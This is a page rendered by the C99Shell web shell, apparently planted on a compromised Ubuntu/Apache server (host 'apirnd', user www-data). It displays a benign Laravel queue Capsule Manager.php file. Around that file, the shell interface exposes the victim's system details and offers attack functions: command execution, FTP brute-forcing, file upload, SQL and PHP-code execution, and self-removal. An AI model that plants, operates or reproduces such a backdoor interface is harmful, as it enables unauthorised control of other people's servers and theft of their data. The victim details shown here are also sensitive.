!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/notification/vendor/illuminate/queue/Capsule/   drwxr-xr-x
Free 13.18 GB of 57.97 GB (22.74%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Manager.php (4.67 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Illuminate\Queue\Capsule;

use 
Illuminate\Container\Container;
use 
Illuminate\Queue\QueueManager;
use 
Illuminate\Queue\QueueServiceProvider;
use 
Illuminate\Support\Traits\CapsuleManagerTrait;

/**
 * @mixin \Illuminate\Queue\QueueManager
 * @mixin \Illuminate\Contracts\Queue\Queue
 */
class Manager
{
    use 
CapsuleManagerTrait;

    
/**
     * The queue manager instance.
     *
     * @var \Illuminate\Queue\QueueManager
     */
    
protected $manager;

    
/**
     * Create a new queue capsule manager.
     *
     * @param  \Illuminate\Container\Container|null  $container
     * @return void
     */
    
public function __construct(Container $container null)
    {
        
$this->setupContainer($container ?: new Container);

        
// Once we have the container setup, we will set up the default configuration
        // options in the container "config" bindings. This'll just make the queue
        // manager behave correctly since all the correct bindings are in place.
        
$this->setupDefaultConfiguration();

        
$this->setupManager();

        
$this->registerConnectors();
    }

    
/**
     * Setup the default queue configuration options.
     *
     * @return void
     */
    
protected function setupDefaultConfiguration()
    {
        
$this->container['config']['queue.default'] = 'default';
    }

    
/**
     * Build the queue manager instance.
     *
     * @return void
     */
    
protected function setupManager()
    {
        
$this->manager = new QueueManager($this->container);
    }

    
/**
     * Register the default connectors that the component ships with.
     *
     * @return void
     */
    
protected function registerConnectors()
    {
        
$provider = new QueueServiceProvider($this->container);

        
$provider->registerConnectors($this->manager);
    }

    
/**
     * Get a connection instance from the global manager.
     *
     * @param  string|null  $connection
     * @return \Illuminate\Contracts\Queue\Queue
     */
    
public static function connection($connection null)
    {
        return static::
$instance->getConnection($connection);
    }

    
/**
     * Push a new job onto the queue.
     *
     * @param  string  $job
     * @param  mixed  $data
     * @param  string|null  $queue
     * @param  string|null  $connection
     * @return mixed
     */
    
public static function push($job$data ''$queue null$connection null)
    {
        return static::
$instance->connection($connection)->push($job$data$queue);
    }

    
/**
     * Push a new an array of jobs onto the queue.
     *
     * @param  array  $jobs
     * @param  mixed  $data
     * @param  string|null  $queue
     * @param  string|null  $connection
     * @return mixed
     */
    
public static function bulk($jobs$data ''$queue null$connection null)
    {
        return static::
$instance->connection($connection)->bulk($jobs$data$queue);
    }

    
/**
     * Push a new job onto the queue after (n) seconds.
     *
     * @param  \DateTimeInterface|\DateInterval|int  $delay
     * @param  string  $job
     * @param  mixed  $data
     * @param  string|null  $queue
     * @param  string|null  $connection
     * @return mixed
     */
    
public static function later($delay$job$data ''$queue null$connection null)
    {
        return static::
$instance->connection($connection)->later($delay$job$data$queue);
    }

    
/**
     * Get a registered connection instance.
     *
     * @param  string|null  $name
     * @return \Illuminate\Contracts\Queue\Queue
     */
    
public function getConnection($name null)
    {
        return 
$this->manager->connection($name);
    }

    
/**
     * Register a connection with the manager.
     *
     * @param  array  $config
     * @param  string  $name
     * @return void
     */
    
public function addConnection(array $config$name 'default')
    {
        
$this->container['config']["queue.connections.{$name}"] = $config;
    }

    
/**
     * Get the queue manager instance.
     *
     * @return \Illuminate\Queue\QueueManager
     */
    
public function getQueueManager()
    {
        return 
$this->manager;
    }

    
/**
     * Pass dynamic instance methods to the manager.
     *
     * @param  string  $method
     * @param  array  $parameters
     * @return mixed
     */
    
public function __call($method$parameters)
    {
        return 
$this->manager->$method(...$parameters);
    }

    
/**
     * Dynamically pass methods to the default connection.
     *
     * @param  string  $method
     * @param  array  $parameters
     * @return mixed
     */
    
public static function __callStatic($method$parameters)
    {
        return static::
connection()->$method(...$parameters);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.006 ]--